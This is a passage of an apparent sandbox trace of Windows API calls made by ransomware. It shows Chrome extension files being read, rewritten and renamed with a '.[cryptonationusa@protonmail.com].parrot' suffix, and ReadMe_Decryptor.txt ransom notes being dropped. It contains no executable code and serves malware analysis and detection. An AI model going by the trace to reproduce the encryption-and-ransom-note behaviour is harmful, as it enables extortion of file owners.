hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0628 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22404c8 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0628 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a39c8 [0063.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22404c8 | out: hHeap=0x5b0000) returned 1 [0063.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d95b8 [0063.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0063.661] WriteFile (in: hFile=0x270, lpBuffer=0x5d95b8*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5d95b8*, lpNumberOfBytesWritten=0x18e024*=0x3f8, lpOverlapped=0x0) returned 1 [0063.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.661] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.661] CloseHandle (hObject=0x270) returned 1 [0063.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0063.662] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5d0628 [0063.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0063.662] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0628 | out: hHeap=0x5b0000) returned 1 [0063.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0063.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0063.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0063.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0063.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0063.689] GetFileType (hFile=0x270) returned 0x1 [0063.689] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.877] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20e, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.877] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.877] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0063.878] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.878] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf6, lpOverlapped=0x0) returned 1 [0063.878] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.878] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.879] GetLastError () returned 0x0 [0063.879] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.879] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0063.879] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0063.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a3bc0 [0063.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0063.880] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x218) returned 0x615450 [0063.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3bc0 | out: hHeap=0x5b0000) returned 1 [0063.880] WriteFile (in: hFile=0x28c, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x218, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x218, lpOverlapped=0x0) returned 1 [0063.880] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0063.880] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.880] CloseHandle (hObject=0x28c) returned 1 [0063.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a3bc0 [0063.881] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x6a3cf8 [0063.881] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3bc0 | out: hHeap=0x5b0000) returned 1 [0063.881] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cf8 | out: hHeap=0x5b0000) returned 1 [0063.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160810 | out: hHeap=0x5b0000) returned 1 [0063.883] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0063.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0063.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3af0 [0063.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.883] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0063.884] GetFileType (hFile=0x28c) returned 0x1 [0063.884] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.938] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.938] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.938] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0063.938] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.939] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x108, lpOverlapped=0x0) returned 1 [0063.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0063.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.939] GetLastError () returned 0x0 [0063.940] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.940] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0063.940] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d37b8 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6a3cf8 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0063.941] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cf8 | out: hHeap=0x5b0000) returned 1 [0063.941] WriteFile (in: hFile=0x270, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0063.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0063.941] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0063.941] CloseHandle (hObject=0x270) returned 1 [0063.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x6a3cf8 [0063.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d95b8 [0063.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3cf8 | out: hHeap=0x5b0000) returned 1 [0063.942] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0063.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0063.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160998 | out: hHeap=0x5b0000) returned 1 [0063.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3ae0 | out: hHeap=0x5b0000) returned 1 [0063.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0063.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x6a3af0 [0063.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0063.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0063.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0063.983] GetFileType (hFile=0x270) returned 0x1 [0063.983] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0063.994] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0063.994] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0063.994] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0063.995] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.995] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcf, lpOverlapped=0x0) returned 1 [0063.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0063.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0063.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0063.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0063.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0063.996] GetLastError () returned 0x0 [0063.997] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0063.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0063.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 